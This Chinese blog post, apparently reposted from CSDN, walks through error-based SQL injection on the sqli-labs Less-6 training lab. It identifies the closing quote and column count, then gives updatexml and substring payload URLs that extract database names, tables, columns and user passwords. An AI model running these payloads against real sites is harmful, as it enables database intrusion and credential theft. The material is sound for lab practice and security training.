您的位置:首页 > 文旅 > 旅游 > 建立网站时什么可以使用中文_抖音代运营怎么取消合作_百度sem认证_安徽网络推广和优化

建立网站时什么可以使用中文_抖音代运营怎么取消合作_百度sem认证_安徽网络推广和优化

2024/10/8 6:14:30 来源:https://blog.csdn.net/wanggonghanfei/article/details/142677318  浏览:    关键词:建立网站时什么可以使用中文_抖音代运营怎么取消合作_百度sem认证_安徽网络推广和优化
建立网站时什么可以使用中文_抖音代运营怎么取消合作_百度sem认证_安徽网络推广和优化

sqli-labs靶场less-6使用updatexml函数报错注入

本次测试在虚拟机搭建sqli-labs靶场,在主机端浏览器进行访问测试
在这里插入图片描述

1、updatexml函数

1.1 语法:

UPDATEXML(XML_document, XPath_string,new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
  • 第三个参数:new_value,string格式,替换查找到的符合条件的数据

1.2 用法:

SELECT updatexml(doc,'/book/title','1') FROM xml;

将XPath_string替换成一个用~开头的字符串使得函数报错,第一个参数

2、确定靶场注入类型,闭合方式

http://192.168.128.3/sq/Less-6/?id=1
http://192.168.128.3/sq/Less-6/?id=2
http://192.168.128.3/sq/Less-6/?id=1’
http://192.168.128.3/sq/Less-6/?id=1 and 1=1
http://192.168.128.3/sq/Less-6/?id=1 and 1=2

以上语句均没有回显,判断为字符型注入,输入

http://192.168.128.3/sq/Less-6/?id=1"

页面回显报错
在这里插入图片描述
从页面报错可以确定闭合方式为双引号

3、列数确定

http://192.168.128.3/sq/Less-6/?id=1" order by 5 --+
http://192.168.128.3/sq/Less-6/?id=1" order by 4 --+
http://192.168.128.3/sq/Less-6/?id=1" order by 3 --+

order by 3 的时候回显与之前一致,确定三列

4、判断数据库及版本

从之前回显判断页面正常情况无回显,也可以使用union select 1,2,3验证,故此处使用报错注入,此次我使用uodatexml函数报错注入

4.1 获取数据库名和版本号

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat(‘~’,(select database())),3),3 --+
http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat(‘~’,(select version())),3),3 --+

5、进行数据库爆破

5.1 所有数据库

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat(‘~’,(select group_concat(schema_name) from information_schema.schemata)),3),3 --+

因为updatexml报错注入返回长度只有32,用substring函数多次返回
substring`函数
例如:select substring(123456,1,3);
输出 123,输出第一个位置字符从第一个位置开始数三个,分批次输出我们想要的结果

  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(schema_name) from information_schema.schemata))),1,30),3),3 --+
  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(schema_name) from information_schema.schemata))),30,30),3),3 --+
  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(schema_name) from information_schema.schemata))),60,30),3),3 --+

至此得到所有所有数据库名

5.2 表名

  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1,30),3),3 --+

5.3 列名

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))),1,30),3),3 --+

5.4 数据

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat(‘~’,(select group_concat(username,‘,’,password) from security.users))),1,30),3),3 --+

修改 security.users))),1,30),3),3 --+ 中的1,便可得到所有数据
至此,大功告成

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com